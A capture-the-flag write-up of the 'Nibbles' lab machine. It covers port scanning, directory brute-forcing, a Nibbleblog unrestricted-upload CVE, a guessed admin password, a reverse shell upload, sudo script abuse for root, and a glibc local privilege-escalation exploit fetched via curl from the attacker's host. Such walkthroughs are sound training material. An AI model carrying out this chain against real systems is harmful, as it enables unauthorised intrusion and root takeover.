Nibbles (Linux) Write-up — LinEnum & How to call a bash shell with sudo priv
I’ve done this box a long time ago while following a TCM’s video, but I decided to give it a go again with fresh perspective and with the help of Ippsec’s walkthrough https://www.youtube.com/watch?v=s_0GcRGv6Ds
Nmap Scan Result:
Nmap scan report for 10.129.168.232
Host is up (0.11s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn’t have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
58848/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Let’s do web enumeration first.
Visiting the IP, I found the nibbleblog directory which took me to a blog site.
Started the gobuster from the directory:
gobuster dir -u http://10.129.168.232/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Version was found in:http://10.129.168.232/nibbleblog/README
Codename: Coffee Release date: 2014–04–01
Site: http://www.nibbleblog.com Blog: http://blog.nibbleblog.com Help & Support: http://forum.nibbleblog.com Documentation: http://docs.nibbleblog.com
Found the CVE for that version.
“Unrestricted file upload vulnerability in the My Image plugin in Nibbleblog before 4.0.5 allows remote administrators to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in content/private/plugins/my_image/image.php.”
Found admin.php page and attempted login with Username:admin password: nibbles — -> successful
Found a directory where I can upload a reverse shell script.
Uploaded a reverse shell and got the shell back.
can’t access tty though.
“bash -i” to make it interactive.
or python3 pty option
By typing sudo -l reveals that /home/nibbler/personal/stuff/monitor.sh can be ran as root without password
so I have unzipped the file (unzip personal.zip) and removed the current shell file.
Created a new file with vim:
Had some trouble typing this in vim as it tried to add space.
We utilized the Sudo functionality to run a script to call the bash with root privilege.
Running Linux Exploit Suggester
GitHub — mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool
host it on python simplehttp server and download it from the nibble server with
curl -o enum.sh IP/enum.sh
We’ll try the RationalLove
glibc < 2.26 — ‘getcwd()’ Local Privilege Escalation — Linux local Exploit (exploit-db.com)
Get the exploit and upload it again.
We need to compile the c file with gcc -o FILE_NAME Rationallove.c per the instruction.
For some reason, I had to execute it twice to get it work, but it worked.